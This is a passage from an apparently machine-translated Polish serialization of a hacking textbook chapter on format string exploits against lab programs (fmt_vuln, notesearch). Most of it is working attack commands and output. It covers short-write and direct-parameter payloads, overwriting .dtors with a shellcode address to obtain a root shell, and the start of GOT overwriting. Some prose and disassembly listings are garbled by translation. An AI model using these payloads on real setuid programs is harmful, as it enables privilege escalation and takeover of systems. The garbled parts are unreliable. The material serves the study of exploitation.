x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n%91x%n

The right way to print user-controlled input:

??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n

The wrong way to print user-controlled input:

??JUNK??JUNK??JUNK??bffff3b0b7fe75fc

0

4b4e554a

4b4e554a

[*] test_val @ 0x080497f4 = 33991629 0x0206abcd

[*] next_val @ 0x080497f8 = 286326784 0x11110000

reader@hacking:~/booksrc $

Przy każdym zapisie nadpisywane są bajty zmiennej next_val, sąsiadującej z test_val. Technika zawijania wydaje się działać dobrze, ale pojawia się drobny problem podczas próby ostatecznego bajtu.

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x08 - 0x06"

$1 = 2

reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\

xf6\

x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n%91x%n%2x%n

The right way to print user-controlled input:

??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n%2x%n

The wrong way to print user-controlled input:

??JUNK??JUNK??JUNK??bffff3a0b7fe75fc

0

4b4e554a

4b4e554a4b4e554a

[*] test_val @ 0x080497f4 = 235318221 0x0e06abcd

[*] next_val @ 0x080497f8 = 285212674 0x11000002

reader@hacking:~/booksrc $

Co tu się stało? Różnica między 0x06 i 0x08 to tylko dwa, ale osiem bajtów jest wyprowadzanych, co powoduje, że bajt 0x0e jest zapisywany przez parametr% nformat. Wynika to z tego, że opcja szerokości pola dla parametru formatu x jest tylko minimalną szerokością pola i wypisywanych jest osiem bajtów danych. Ten problem można złagodzić, po prostu zawijając ponownie; jednak dobrze jest znać ograniczenia opcji szerokości pola.

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x108 - 0x06"

$1 = 258

reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\

xf6\

x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n%91x%n%258x%n

The right way to print user-controlled input:

??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n%258x%n

The wrong way to print user-controlled input:

??JUNK??JUNK??JUNK??bffff3a0b7fe75fc

0

4b4e554a

4b4e554a

4b4e554a

[*] test_val @ 0x080497f4 = 134654925 0x0806abcd

[*] next_val @ 0x080497f8 = 285212675 0x11000003

reader@hacking:~/booksrc $

Podobnie jak wcześniej, odpowiednie adresy i niepotrzebne dane są umieszczane na początku ciągu formatu, a najmniej znaczący bajt jest kontrolowany dla czterech operacji zapisu, aby nadpisać wszystkie cztery bajty zmiennej test_val. Wszelkie odejmowanie wartości do najmniej znaczącego bajtu można osiągnąć przez owijanie bajtów wokół. Ponadto, wszystkie dodatki mniejsze niż osiem mogą wymagać owinięcia w podobny sposób.

Powrót

21.07.2020

Bezpośredni dostęp do parametrów

Bezpośredni dostęp do parametrów jest sposobem na uproszczenie exploitów formatu. W poprzednich exploitach każdy argument parametru formatu musiał być sekwencyjnie pomijany. Wymagało to użycia kilku parametrów formatu% x do przechodzenia przez argumenty parametrów aż do osiągnięcia początku ciągu formatu. Ponadto sekwencyjny charakter wymagał trzech 4-bajtowych słów śmieci, aby poprawnie zapisać pełny adres w dowolnym miejscu w pamięci. Jak wskazuje nazwa, bezpośredni dostęp do parametrów umożliwia bezpośredni dostęp do parametrów za pomocą kwalifikatora znaku dolara. Na przykład% n $ d uzyska dostęp do n-tego parametru i wyświetli go jako liczbę dziesiętną.

printf ("7:% 7 $ d, 4:% 4 $ 05d \ n", 10, 20, 30, 40, 50, 60, 70, 80);

Poprzednie wywołanie printf () będzie miało następujące wyjście:

7: 70, 4: 00040

Po pierwsze, 70 jest wyprowadzane jako liczba dziesiętna, gdy napotkano parametr formatu% 7 $ d, ponieważ siódmy parametr ma wartość 70. Drugi parametr formatuje dostęp do czwartego parametru i wykorzystuje opcję szerokości pola równą 05. Wszystkie inne wartości argumenty parametrów są nietknięte. Ta metoda bezpośredniego dostępu eliminuje konieczność przechodzenia przez pamięć do momentu znalezienia początku ciągu formatu, ponieważ dostęp do tej pamięci można uzyskać bezpośrednio. Poniższe dane pokazują użycie bezpośredniego dostępu do parametrów

reader@hacking:~/booksrc $ ./fmt_vuln AAAA%x%x%x%x

The right way to print user-controlled input:

AAAA%x%x%x%x

The wrong way to print user-controlled input:

AAAAbffff3d0b7fe75fc041414141

[*] test_val @ 0x08049794 = -72 0xffffffb8

reader@hacking:~/booksrc $ ./fmt_vuln AAAA%4\$x

The right way to print user-controlled input:

AAAA%4$x

The wrong way to print user-controlled input:

AAAA41414141

[*] test_val @ 0x08049794 = -72 0xffffffb8

reader@hacking:~/booksrc $

W tym przykładzie początek ciągu formatu znajduje się przy czwartym argumencie parametru. Zamiast przechodzić przez pierwsze trzy argumenty parametru przy użyciu parametrów formatu% x, dostęp do tej pamięci można uzyskać bezpośrednio. Ponieważ odbywa się to w linii poleceń, a znak dolara jest znakiem specjalnym, musi być poprzedzony odwróconym ukośnikiem. To po prostu mówi powłoce poleceń, aby nie próbować interpretować znaku dolara jako znaku specjalnego. Rzeczywisty ciąg formatu może być widoczny, gdy zostanie wydrukowany poprawnie. Bezpośredni dostęp do parametrów upraszcza również zapis adresów pamięci. Ponieważ dostęp do pamięci można uzyskać bezpośrednio, nie ma potrzeby stosowania czterobajtowych separatorów danych śmieciowych w celu zwiększenia liczby wyjściowej bajtów. Każdy z parametrów formatu xx, który zwykle wykonuje tę funkcję, może bezpośrednio uzyskać dostęp do części pamięci znalezionej przed ciągiem formatującym. W celu ćwiczenia, użyjmy bezpośredniego dostępu do parametru, aby zapisać bardziej realistyczny adres 0xbffffd72 w zmiennej test_vals.

reader@hacking:~/booksrc $ ./fmt_vuln $(perl -e 'print "\x94\x97\x04\x08" . "\x95\x97\x04\

x08"

. "\x96\x97\x04\x08" . "\x97\x97\x04\x08"')%4\$n

The right way to print user-controlled input:

????????%4$n

The wrong way to print user-controlled input:

????????

[*] test_val @ 0x08049794 = 16 0x00000010

reader@hacking:~/booksrc $ gdb -q

(gdb) p 0x72 - 16

$1 = 98

(gdb) p 0xfd - 0x72

$2 = 139

(gdb) p 0xff - 0xfd

$3 = 2

(gdb) p 0x1ff - 0xfd

$4 = 258

(gdb) p 0xbf - 0xff

$5 = -64

(gdb) p 0x1bf - 0xff

$6 = 192

(gdb) quit

reader@hacking:~/booksrc $ ./fmt_vuln $(perl -e 'print "\x94\x97\x04\x08" . "\x95\x97\x04\

x08"

. "\x96\x97\x04\x08" . "\x97\x97\x04\x08"')%98x%4\$n%139x%5\$n

The right way to print user-controlled input:

????????%98x%4$n%139x%5$n

The wrong way to print user-controlled input:

????????

bffff3c0

b7fe75fc

[*] test_val @ 0x08049794 = 64882 0x0000fd72

reader@hacking:~/booksrc $ ./fmt_vuln $(perl -e 'print "\x94\x97\x04\x08" . "\x95\x97\x04\

x08"

. "\x96\x97\x04\x08" . "\x97\x97\x04\x08"')%98x%4\$n%139x%5\$n%258x%6\$n%192x%7\$n

The right way to print user-controlled input:

????????%98x%4$n%139x%5$n%258x%6$n%192x%7$n

The wrong way to print user-controlled input:

????????

bffff3b0

b7fe75fc

0

8049794

[*] test_val @ 0x08049794 = -1073742478 0xbffffd72

reader@hacking:~/booksrc $

Ponieważ stos nie musi być drukowany, aby dotrzeć do naszych adresów, liczba bajtów zapisanych przy pierwszym parametrze formatu wynosi 16. Bezpośredni dostęp do parametru jest używany tylko dla parametrów% n, ponieważ tak naprawdę nie ma znaczenia, jakie wartości są używany dla elementów dystansujących% x. Ta metoda upraszcza proces zapisywania adresu i zmniejsza obowiązkowy rozmiar ciągu formatu.

Powrót

22.07.2020

Używanie krótkich zapisów

Inną techniką, która może uprościć formatowanie exploitów, jest używanie krótkich zapisów. Krótki jest zwykle dwubajtowym słowem, a parametry formatu mają specjalny sposób radzenia sobie z nimi. Pełniejszy opis możliwych parametrów formatu można znaleźć na stronie podręcznika printf.

Modyfikator długości

Tutaj całkowita konwersja oznacza konwersję d, i, o, u, x lub X. h Następująca po konwersji liczba całkowita odpowiada krótkiemu int lub unsigned short int argumentowi, lub następująca konwersja n odpowiada wskaźnikowi do krótkiego argumentu int.

Może to być użyte w przypadku exploitów z ciągami formatów do pisania skrótów dwubajtowych. W poniższym wyjściu krótka (pogrubiona) jest zapisana na obu końcach czterobajtowej zmiennej test_val. Naturalnie można nadal korzystać z bezpośredniego dostępu do parametrów.

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%x%hn

The right way to print user-controlled input:

??%x%x%x%hn

The wrong way to print user-controlled input:

??bffff3d0b7fe75fc0

[*] test_val @ 0x08049794 = -65515 0xffff 0015

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x97\x04\x08")%x%x%x%hn

The right way to print user-controlled input:

??%x%x%x%hn

The wrong way to print user-controlled input:

??bffff3d0b7fe75fc0

[*] test_val @ 0x08049794 = 1441720 0x0015ffb8

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x97\x04\x08")%4\$hn

The right way to print user-controlled input:

??%4$hn

The wrong way to print user-controlled input:

??

[*] test_val @ 0x08049794 = 327608 0x0004ffb8

reader@hacking:~/booksrc $

Używając krótkich zapisów, całą czterobajtową wartość można zastąpić tylko dwoma parametrami% hn. W poniższym przykładzie zmienna test_val zostanie ponownie nadpisana adresem 0xbffffd72.

reader@hacking:~/booksrc $ gdb -q

(gdb) p 0xfd72 - 8

$1 = 64874

(gdb) p 0xbfff - 0xfd72

$2 = -15731

(gdb) p 0x1bfff - 0xfd72

$3 = 49805



(gdb) quit



reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08\x96\x97\x04\x08")

%64874x%4\

$hn%49805x%5\$hn

The right way to print user-controlled input:

????%64874x%4$hn%49805x%5$hn

The wrong way to print user-controlled input:

b7fe75fc

[*] test_val @ 0x08049794 = -1073742478 0xbffffd72

reader@hacking:~/booksrc $

W poprzednim przykładzie zastosowano podobną metodę zawijania do czynienia z drugim zapisem 0xbfff będącym mniejszym niż pierwsze zapisanie 0xfd72. Używając krótkich zapisów, kolejność zapisów nie ma znaczenia, więc pierwszym napisem może być 0xfd72, a drugie 0xbfff, jeśli dwa przekazane adresy są zamieniane w pozycji. W wyjściu poniżej, adres 0x08049796 zostanie zapisany jako pierwszy, a 0x08049794 zostanie zapisany jako drugi.

(gdb) p 0xbfff - 8

$1 = 49143

(gdb) p 0xfd72 - 0xbfff

$2 = 15731

(gdb) quit

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x97\x04\x08\x94\x97\x04\x08")

%49143x%4\

$hn%15731x%5\$hn

The right way to print user-controlled input:

????%49143x%4$hn%15731x%5$hn

The wrong way to print user-controlled input:

????

b7fe75fc

[*] test_val @ 0x08049794 = -1073742478 0xbffffd72

reader@hacking:~/booksrc $

Możliwość nadpisania dowolnych adresów pamięci oznacza możliwość kontrolowania przepływu wykonawczego programu. Jedną opcją jest nadpisanie adresu zwrotnego w najnowszej ramce stosu, tak jak miało to miejsce w przypadku przepełnień stosowych. Chociaż jest to możliwa opcja, istnieją inne cele, które mają bardziej przewidywalne adresy pamięci. Natura przepełnień stosowych pozwala tylko na nadpisanie adresu zwrotnego, ale ciągi formatów zapewniają możliwość nadpisania dowolnego adresu pamięci, co stwarza inne możliwości.

Powrót

23.07.2020

Objazdy z .dtors

W programach binarnych skompilowanych z kompilatorem GNU C, specjalne sekcje tabel zwane .dtors i .ektory są tworzone odpowiednio dla destruktorów i konstruktorów. Funkcje konstruktora są wykonywane przed wykonaniem funkcji main (), a funkcje destruktora są wykonywane tuż przed wyjściem funkcji main () z wywołaniem systemowym wyjścia. Funkcje destruktora i sekcja tabeli .dtors są szczególnie interesujące. Funkcję można zadeklarować jako funkcję destruktora, definiując atrybut destruktora, jak widać w dtors_sample.c.

dtors_sample.c

#include < stdio.h >

#include < stdlib.h >

static void cleanup(void) __attribute__ ((destructor));

main() {

printf("Some actions happen in the main() function..\n");

printf("and then when main() exits, the destructor is called..\n");

exit(0);

}

void cleanup(void) {

printf("In the cleanup function now..\n");

}

W poprzednim przykładzie kodu funkcja cleanup () jest zdefiniowana za pomocą atrybutu destruktora, więc funkcja jest wywoływana automatycznie po zakończeniu działania funkcji main (), jak pokazano poniżej. reader @ hacking: ~ / booksrc $ gcc -o dtors_sample dtors_sample.c reader @ hacking: ~ / booksrc $ ./dtors_sample Niektóre akcje mają miejsce w funkcji main () .. a następnie, gdy funkcja main () kończy działanie, wywoływany jest destruktor.

Teraz w funkcji cleanup () ...

reader@hacking:~/booksrc $

To zachowanie automatycznego wykonywania funkcji przy wyjściu jest kontrolowane przez sekcję tabeli .dtors pliku binarnego. Ta sekcja jest tablicą 32-bitowych adresów zakończonych adresem NULL. Tablica zawsze zaczyna się od 0xffffffff i kończy się NULL adresem 0x00000000. Pomiędzy tymi dwoma znajdują się adresy wszystkich funkcji, które zostały zadeklarowane za pomocą atrybutu destructor. Polecenie nm może zostać użyte do znalezienia adresu funkcji cleanup (), a objdump może zostać użyty do sprawdzenia sekcji binarnych.

reader@hacking:~/booksrc $ nm ./dtors_sample

080495bc d _DYNAMIC

08049688 d _GLOBAL_OFFSET_TABLE_

080484e4 R _IO_stdin_used

w _Jv_RegisterClasses

080495a8 d __CTOR_END__

080495a4 d __CTOR_LIST__

( 1 )

080495b4 d __DTOR_END__

( 2 )

080495ac d __DTOR_LIST__

080485a0 r __FRAME_END__

080495b8 d __JCR_END__

080495b8 d __JCR_LIST__

080496b0 A __bss_start

080496a4 D __data_start

08048480 t __do_global_ctors_aux

08048340 t __do_global_dtors_aux

080496a8 D __dso_handle

w __gmon_start__

08048479 T __i686.get_pc_thunk.bx

080495a4 d __init_array_end

080495a4 d __init_array_start

08048400 T __libc_csu_fini

08048410 T __libc_csu_init

U __libc_start_main@@GLIBC_2.0

080496b0 A _edata

080496b4 A _end

080484b0 T _fini

080484e0 R _fp_hw

0804827c T _init

080482f0 T _start

08048314 t call_gmon_start

080483e8 t cleanup

080496b0 b completed.1

080496a4 W data_start

U exit@@GLIBC_2.0

08048380 t frame_dummy

080483b4 T main

080496ac d p.0

U printf@@GLIBC_2.0

reader@hacking:~/booksrc $

Funkcja cleanup () lokalizuje d przy 0x080483e8. Ujawnia również, że sekcja .dtors zaczyna się od 0x080495ac z __DTOR_LIST__ (2) i kończy się na 0x080495b4 z __DTOR_END __ (1). Oznacza to, że 0x080495ac powinien zawierać 0xffffffff, 0x080495b4 powinien zawierać 0x00000000, a adres między nimi (0x080495b0) powinien zawierać adres funkcji cleanup () (0x080483e8). Komenda objdump pokazuje rzeczywistą zawartość sekcji .dtors (pogrubioną poniżej), choć w nieco mylącym formacie. Pierwsza wartość 80495ac to po prostu adres, pod którym znajduje się sekcja .dtors usytuowany. Następnie pokazywane są rzeczywiste bajty, w przeciwieństwie do DWORD, co oznacza, że bajty są odwrócone. Mając to na uwadze, wszystko wydaje się poprawne.

reader@hacking:~/booksrc $ objdump -s -j .dtors ./dtors_sample

./dtors_sample: file format elf32-i386

Contents of section .dtors:

80495ac ffffffff e8830408 00000000 ............

reader@hacking:~/booksrc $

Ciekawym szczegółem na temat sekcji .dtors jest to, że jest zapisywalny. Zrzut obiektu nagłówków zweryfikuje to, pokazując, że sekcja .dtors nie jest oznaczona jako READONLY

reader@hacking:~/booksrc $ objdump -h ./dtors_sample

./dtors_sample: file format elf32-i386

Sections:

Idx Name Size VMA LMA File off Algn

0 .interp 00000013 08048114 08048114 00000114 2**0

CONTENTS, ALLOC, LOAD, READONLY, DATA

1 .note.ABI-tag 00000020 08048128 08048128 00000128 2**2

CONTENTS, ALLOC, LOAD, READONLY, DATA

2 .hash 0000002c 08048148 08048148 00000148 2**2

CONTENTS, ALLOC, LOAD, READONLY, DATA

3 .dynsym 00000060 08048174 08048174 00000174 2**2

CONTENTS, ALLOC, LOAD, READONLY, DATA

4 .dynstr 00000051 080481d4 080481d4 000001d4 2**0

CONTENTS, ALLOC, LOAD, READONLY, DATA

5 .gnu.version 0000000c 08048226 08048226 00000226 2**1

CONTENTS, ALLOC, LOAD, READONLY, DATA

6 .gnu.version_r 00000020 08048234 08048234 00000234 2**2

CONTENTS, ALLOC, LOAD, READONLY, DATA

7 .rel.dyn 00000008 08048254 08048254 00000254 2**2

CONTENTS, ALLOC, LOAD, READONLY, DATA

8 .rel.plt 00000020 0804825c 0804825c 0000025c 2**2

CONTENTS, ALLOC, LOAD, READONLY, DATA

9 .init 00000017 0804827c 0804827c 0000027c 2**2

CONTENTS, ALLOC, LOAD, READONLY, CODE

10 .plt 00000050 08048294 08048294 00000294 2**2

CONTENTS, ALLOC, LOAD, READONLY, CODE

11 .text 000001c0 080482f0 080482f0 000002f0 2**4

CONTENTS, ALLOC, LOAD, READONLY, CODE

12 .fini 0000001c 080484b0 080484b0 000004b0 2**2

CONTENTS, ALLOC, LOAD, READONLY, CODE

13 .rodata 000000bf 080484e0 080484e0 000004e0 2**5

CONTENTS, ALLOC, LOAD, READONLY, DATA

14 .eh_frame 00000004 080485a0 080485a0 000005a0 2**2

CONTENTS, ALLOC, LOAD, READONLY, DATA

15 .ctors 00000008 080495a4 080495a4 000005a4 2**2

CONTENTS, ALLOC, LOAD, DATA

16 .dtors 0000000c 080495ac 080495ac 000005ac 2**2

CONTENTS, ALLOC, LOAD, DATA

17 .jcr 00000004 080495b8 080495b8 000005b8 2**2

CONTENTS, ALLOC, LOAD, DATA

18 .dynamic 000000c8 080495bc 080495bc 000005bc 2**2

CONTENTS, ALLOC, LOAD, DATA

19 .got 00000004 08049684 08049684 00000684 2**2

CONTENTS, ALLOC, LOAD, DATA

20 .got.plt 0000001c 08049688 08049688 00000688 2**2

CONTENTS, ALLOC, LOAD, DATA

21 .data 0000000c 080496a4 080496a4 000006a4 2**2

CONTENTS, ALLOC, LOAD, DATA

22 .bss 00000004 080496b0 080496b0 000006b0 2**2

ALLOC

23 .comment 0000012f 00000000 00000000 000006b0 2**0

CONTENTS, READONLY

24 .debug_aranges 00000058 00000000 00000000 000007e0 2**3

CONTENTS, READONLY, DEBUGGING

25 .debug_pubnames 00000025 00000000 00000000 00000838 2**0

CONTENTS, READONLY, DEBUGGING

26 .debug_info 000001ad 00000000 00000000 0000085d 2**0

CONTENTS, READONLY, DEBUGGING

27 .debug_abbrev 00000066 00000000 00000000 00000a0a 2**0

CONTENTS, READONLY, DEBUGGING

28 .debug_line 0000013d 00000000 00000000 00000a70 2**0

CONTENTS, READONLY, DEBUGGING

29 .debug_str 000000bb 00000000 00000000 00000bad 2**0

CONTENTS, READONLY, DEBUGGING

30 .debug_ranges 00000048 00000000 00000000 00000c68 2**3

CONTENTS, READONLY, DEBUGGING

reader@hacking:~/booksrc $

Kolejnym interesującym szczegółem dotyczącym sekcji .dtors jest to, że jest ona zawarta we wszystkich plikach binarnych skompilowanych z kompilatorem GNU C, niezależnie od tego, czy jakiekolwiek funkcje zostały zadeklarowane z atrybutem destruktora. Oznacza to, że program w formacie programu podatnego na uszkodzenia, fmt_vuln.c, musi mieć sekcję .dtors zawierającą nic. Można to sprawdzić za pomocą nm i objdump

reader@hacking:~/booksrc $ nm ./fmt_vuln | grep DTOR

08049694 d __DTOR_END__

08049690 d __DTOR_LIST__

reader@hacking:~/booksrc $ objdump -s -j .dtors ./fmt_vuln

./fmt_vuln: file format elf32-i386

Contents of section .dtors:

8049690 ffffffff 00000000 ........

reader@hacking:~/booksrc $

Jak pokazuje to wyjście, odległość między __DTOR_LIST__ i __DTOR_END__ wynosi tylko cztery bajty tym razem, co oznacza, że nie ma między nimi żadnych adresów. Zrzut obiektu weryfikuje to. Ponieważ sekcja .dtors jest zapisywalna, jeśli adres po adresie 0xffffffff zostanie nadpisany adresem pamięci, przepływ wykonania programu zostanie przekierowany na ten adres po wyjściu programu. Będzie to adres __DTOR_LIST__ plus cztery, czyli 0x08049694 (w tym przypadku jest to również adres __DTOR_END__). Jeśli program ma suid root, a ten adres może zostać nadpisany, będzie możliwe uzyskanie powłoki głównej.

reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./fmt_vuln

SHELLCODE will be at 0xbffff9ec

reader@hacking:~/booksrc $

Shellcode można umieścić w zmiennej środowiskowej, a adres można przewidzieć jak zwykle. Ponieważ długość nazwy programu programu pomocniczego getenvaddr.c i podatny program fmt_vuln.c różnią się o dwa bajty, kod powłoki będzie znajdować się przy 0xbffff9ec po wykonaniu fmt_vuln.c. Adres ten należy po prostu zapisać w sekcji .dtors pod adresem 0x08049694 (pogrubioną czcionką poniżej), wykorzystując lukę formatu format. Na wyjściu poniżej używana jest metoda krótkiego zapisu.

reader@hacking:~/booksrc $ gdb -q

(gdb) p 0xbfff - 8

$1 = 49143

(gdb) p 0xf9ec - 0xbfff

$2 = 14829

(gdb) quit

reader@hacking:~/booksrc $ nm ./fmt_vuln | grep DTOR

08049694 d __DTOR_END__

08049690 d __DTOR_LIST__

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x96\x04\x08\x94\x96\x04\

x08")%49143x%4\$hn%14829x%5\$hn

The right way to print user-controlled input:

????%49143x%4$hn%14829x%5$hn

Zły sposób wyświetlania danych wejściowych kontrolowanych przez użytkownika:

????

b7fe75fc

[*] test_val @ 0x08049794 = -72 0xffffffb8

sh-3.2# whoami

root

sh-3.2#

Mimo że sekcja .dtors nie jest poprawnie zakończona z NULL adresem 0x00000000, adres powłoki jest nadal uważany za funkcję destruktora. Gdy program zostanie zamknięty, zostanie wywołany kod powłoki, tworząc powłokę główną.

Powrót

24.07.2020

Kolejna luka w dziale notesearch

Oprócz luki związanej z przepełnieniem bufora program notesearch również cierpi na podatność na łańcuch znaków formatowania.

int print_notes(int fd, int uid, char *searchstring) {

int note_length;

char byte=0, note_buffer[100];

note_length = find_user_note(fd, uid);

if(note_length == -1) // If end of file reached,

return 0; // return 0.

read(fd, note_buffer, note_length); // Read note data.

note_buffer[note_length] = 0; // Terminate the string.

if(search_note(note_buffer, searchstring)) // If searchstring found,

printf(note_buffer); // print the note.

return 1;

}

Ta funkcja odczytuje plik not_buffer z pliku i wypisuje zawartość notatki bez podawania własnego ciągu formatowania. Chociaż tego bufora nie można kontrolować bezpośrednio z wiersza poleceń, można wykorzystać tę lukę, przesyłając dokładnie właściwe dane do pliku za pomocą programu notetaker, a następnie otwierając tę notatkę za pomocą programu notatek. W poniższym pliku wyjściowym program Notetaker służy do tworzenia notatek do pamięci sondy w programie notatek. To mówi nam, że ósmy parametr funkcji znajduje się na początku bufora.

reader@hacking:~/booksrc $ ./notetaker AAAA$(perl -e 'print "%x."x10')

[DEBUG] buffer @ 0x804a008: 'AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.'

[DEBUG] datafile @ 0x804a070: '/var/notes'

[DEBUG] file descriptor is 3

Note has been saved.

reader@hacking:~/booksrc $ ./notesearch AAAA

[DEBUG] found a 34 byte note for user id 999

[DEBUG] found a 41 byte note for user id 999

[DEBUG] found a 5 byte note for user id 999

[DEBUG] found a 35 byte note for user id 999

AAAAbffff750.23.20435455.37303032.0.0.1.41414141.252e7825.78252e78 .

-------[ end of note data ]-------

reader@hacking:~/booksrc $ ./notetaker BBBB%8\$x

[DEBUG] buffer @ 0x804a008: 'BBBB%8$x'

[DEBUG] datafile @ 0x804a070: '/var/notes'

[DEBUG] file descriptor is 3

Note has been saved.

reader@hacking:~/booksrc $ ./notesearch BBBB

[DEBUG] found a 34 byte note for user id 999

[DEBUG] found a 41 byte note for user id 999

[DEBUG] found a 5 byte note for user id 999

[DEBUG] found a 35 byte note for user id 999

[DEBUG] found a 9 byte note for user id 999

BBBB42424242

-------[ end of note data ]-------

reader@hacking:~/booksrc $

Teraz, gdy znany jest względny układ pamięci, wykorzystywanie to tylko kwestia nadpisania sekcji .dtors adresem adresu wstrzykniętego kodu powłoki.

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch

SHELLCODE will be at 0xbffff9e8

reader@hacking:~/booksrc $ gdb -q

(gdb) p 0xbfff - 8

$1 = 49143

(gdb) p 0xf9e8 - 0xbfff

$2 = 14825

(gdb) quit

reader@hacking:~/booksrc $ nm ./notesearch | grep DTOR

08049c60 d __DTOR_END__

08049c5c d __DTOR_LIST__

reader@hacking:~/booksrc $ ./notetaker $(printf "\x62\x9c\x04\x08\x60\x9c\x04\

x08")%49143x%8\$hn%14825x%9\$hn

[DEBUG] buffer @ 0x804a008: 'b?`?%49143x%8$hn%14825x%9$hn'

[DEBUG] datafile @ 0x804a070: '/var/notes'

[DEBUG] file descriptor is 3

Note has been saved.

reader@hacking:~/booksrc $ ./notesearch 49143x

[DEBUG] found a 34 byte note for user id 999

[DEBUG] found a 41 byte note for user id 999

[DEBUG] found a 5 byte note for user id 999

[DEBUG] found a 35 byte note for user id 999

[DEBUG] found a 9 byte note for user id 999

[DEBUG] found a 33 byte note for user id 999

21

-------[ end of note data ]-------

sh-3.2# whoami

root

sh-3.2#

Powrót

25.07.2020

Nadpisywanie tabeli globalnego offsetu

Ponieważ program może wielokrotnie używać funkcji w bibliotece współdzielonej, warto mieć tabelę, która będzie odwoływać się do wszystkich funkcji. Do tego celu wykorzystywana jest specjalna sekcja w skompilowanych programach - tabela łączenia procedur (PLT). Ta sekcja składa się z wielu instrukcji skoku, z których każda odpowiada adresowi funkcji. Działa jak trampolina - za każdym razem, gdy trzeba wywołać wspólną funkcję, kontrola przechodzi przez PLT. Zrzut obiektu demontaż sekcji PLT w programie napisów w formacie podatności na atak (fmt_vuln.c) pokazuje następujące instrukcje skoku:

reader @ hacking: ~ / booksrc $ objdump -d -j .plt ./fmt_vuln

./fmt_vuln: format pliku elf32-i386

Demontaż sekcji .plt:

080482b8 < __ gmon_start __ @ plt-0x10 >:

80482b8: ff 35 6c 97 04 08 pushl 0x804976c

80482be: ff 25 70 97 04 08 jmp * 0x8049770

80482c4: 00 00 dodaj% al, (% eax)

...

080482c8 < __ gmon_start __ @ plt >:

80482c8: ff 25 74 97 04 08 jmp * 0x8049774

80482ce: 68 00 00 00 00 push 0x0,0

80482d3: e9 e0 ff ff jmp 80482b8 < _init + 0x18 >

080482d8 < __ libc_start_main @ plt >:

80482d8: ff 25 78 97 04 08 jmp * 0x8049778

80482de: 68 08 00 00 00 push $ 0x8

80482e3: e9 d0 ff ff fmp jmp 80482b8 < _init + 0x18 >

080482e8 < strcpy @ plt >:

80482e8: ff 25 7c 97 04 08 jmp * 0x804977c

80482ee: 68 10 00 00 00 push 0x10

80482f3: e9 c0 ff ff ff jmp 80482b8 < _init + 0x18 >

080482f8 < printf @ plt >:

80482f8: ff 25 80 97 04 08 jmp * 0x8049780

80482fe: 68 18 00 00 00 push $ 0x18

8048303: e9 b0 ff ff jmp 80482b8 < _init + 0x18 >

08048308 < exit @ plt >:

8048308: ff 25 84 97 04 08 jmp * 0x8049784

804830e: 68 20 00 00 00 push 0x20

8048313: e9 a0 ff ff jmp 80482b8 < _init + 0x18 >

reader @ hacking: ~ / booksrc $

Jedna z tych instrukcji skoku jest związana z funkcją exit (), która jest wywoływana na końcu programu. Jeśli instrukcja skoku użyta dla funkcji exit () może zostać zmanipulowana, aby skierować przepływ wykonania do kodu powłoki zamiast funkcji exit (), powłoka główna zostanie utworzona. Poniżej pokazano tabelę łączenia procedur jako tylko do odczytu.

reader @ hacking: ~ / booksrc $ objdump -h ./fmt_vuln | grep -A1 "\ .plt \"

10 .plt 00000060 080482b8 080482b8 000002b8 2 ** 2

TOC, ALLOC, LOAD, READONLY, CODE

Jednak bliższe przyjrzenie się instrukcjom skoku (pokazanym pogrubioną czcionką poniżej) pokazuje, że nie przeskakują one do adresów, ale do wskaźników do adresów. Na przykład rzeczywisty adres funkcji printf () jest przechowywany jako wskaźnik w adresie pamięci 0x08049780, a adres funkcji exit () jest przechowywany pod adresem 0x08049784.

080482f8 < printf @ plt >:

80482f8: ff 25 80 97 04 08 jmp * 0x8049780

80482fe: 68 18 00 00 00 push $ 0x18

8048303: e9 b0 ff ff jmp 80482b8 < _init + 0x18 >

08048308 < exit @ plt >:

8048308: ff 25 84 97 04 08 jmp * 0x8049784

804830e: 68 20 00 00 00 push 0x20

8048313: e9 a0 ff ff jmp 80482b8 < _init + 0x18 >

Adresy te istnieją w innej sekcji, zwanej globalną tabelą offsetów (GOT), która jest zapisywalna. Adresy te można uzyskać bezpośrednio, wyświetlając dynamiczne pozycje relokacji dla pliku binarnego za pomocą funkcji objdump.

reader@ hackig: ~ / booksrc $ objdump -R ./fmt_vuln

./fmt_vuln: format pliku elf32-i386

DYNAMICZNE REKORDY RELOKACJI

WARTOŚĆ TYPU PRZESUNIĘCIE

08049764 R_386_GLOB_DAT __gmon_start__

08049774 R_386_JUMP_SLOT __gmon_start__

08049778 R_386_JUMP_SLOT __libc_start_main

0804977c R_386_JUMP_SLOT strcpy

08049780 R_386_JUMP_SLOT printf

08049784 R_386_JUMP_SLOT exit

reader @ hacking: ~ / booksrc $

